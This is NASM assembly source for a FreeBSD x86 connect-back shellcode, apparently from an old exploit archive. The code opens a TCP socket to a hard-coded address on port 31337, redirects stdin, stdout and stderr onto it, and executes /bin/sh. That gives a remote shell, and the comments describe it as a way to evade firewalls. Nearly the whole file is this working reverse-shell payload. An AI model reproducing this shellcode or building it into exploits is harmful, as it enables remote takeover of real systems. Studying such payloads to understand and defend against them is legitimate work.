Passive Connection Shellcode. Source is well documented.
9a944285c6e4fd0c571372a7f0144445fb852e672dec8b5363b5e3def84f1d5e
; Passive Connection Shellcode
;
; Coded by Scrippie - ronald@grafix.nl - http://b0f.freebsd.lublin.pl
;
; Why? This evades firewalls...
; This is the well documented testing part of the shellcode
; The code isn't relocatable, isn't optimized and contains NULL chars
;
; YES, this is for NASM, I detest AT&T syntaxis - it's gross and unreadable
;
; This is the FreeBSD variant I whipped up
;
; Tnx to dvorak for pointing out that BSD's int 80h assumes a stored EIP
; on the stack before making it and that BSD has a somwhat different
; sockaddr_in structure (containing sin_len)
BITS 32
; Equates - keeps this stuff a lot more clear
PORT equ 31337 ; What an eleet port!
_exit equ 1 ; See /usr/src/sys/kern/syscalls.c
execve equ 59 ; See /usr/src/sys/kern/syscalls.c
dup2 equ 90 ; See /usr/src/sys/kern/syscalls.c
socket equ 97 ; See /usr/src/sys/kern/syscalls.c
connect equ 98 ; See /usr/src/sys/kern/syscalls.c
IPPROTO_TCP equ 6 ; See netinet/in.h
PF_INET equ 2 ; See sys/socket.h
SOCK_STREAM equ 1 ; See sys/socket.h
sockaddr_in_off equ 0
shell_off equ 8
shell_ptr_off equ 16
jmp short EndCode
Start:
pop esi ; Get offset data in esi
xor eax, eax
xor ebx, ebx
mov bl, IPPROTO_TCP ; Push IPPROTO_TCP
push ebx
mov bl, SOCK_STREAM ; Push SOCK_STREAM
push ebx
mov bl, PF_INET ; Push PF_INET
push ebx
push ebx ; Skipped by int 80h
mov al, socket ; Select socket() syscall
int 80h ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov edx, eax ; Save the resulting socket descriptor
mov byte [esi+sockaddr_in_off+1], PF_INET ; sin_family -> PF_INET
mov word [esi+sockaddr_in_off+2], PORT ; Set the port number
mov bl, 16 ; sizeof(sockaddr_in)
push ebx
lea ebx, [esi+sockaddr_in_off] ; Get offset sockaddr_in into ebx
push ebx ; Push it
push eax ; Still holds sockfd
push eax ; Canary value
mov al, connect ; Select connect() syscall
int 80h ; connect(sockfd, sockaddr_in, 10)
xor ebx, ebx
push ebx
push edx
mov al, dup2 ; Select dup2 syscall
push eax ; Ruined
int 80h
inc bl
push ebx
push edx
mov al, dup2 ; Do the same for stdout
push eax
int 80h
inc bl
push ebx
push edx
mov al, dup2 ; And finally for stderr
push eax
int 80h
xor ebx, ebx
push ebx ; *envp == NULL
lea edi, [esi+shell_off+7]
xor eax, eax
xor ecx, ecx
mov cl, 9
repe stosb
lea ebx, [esi+shell_off] ; Get offset shell into ebx
mov [esi+shell_ptr_off], ebx ; Store it at shell_off
lea ecx, [esi+shell_ptr_off] ; Get offset shell_off into ecx
push ecx ; argp
push ebx ; command
push eax ; canary
mov al, execve
int 80h ; Spawn the frikkin' shell
mov al, _exit ; _exit() system call
int 80h ; Do it
EndCode:
call Start
sockaddr_in db 'ABCC' ; A=sin_len - B=sin_family - C=port
dd 0x100007f ; IP addr (s_addr) in htonl() form
; 8 bytes not needed ;)
shell db '/bin/sh' ;,0
;shell_ptr db 1,2,3,4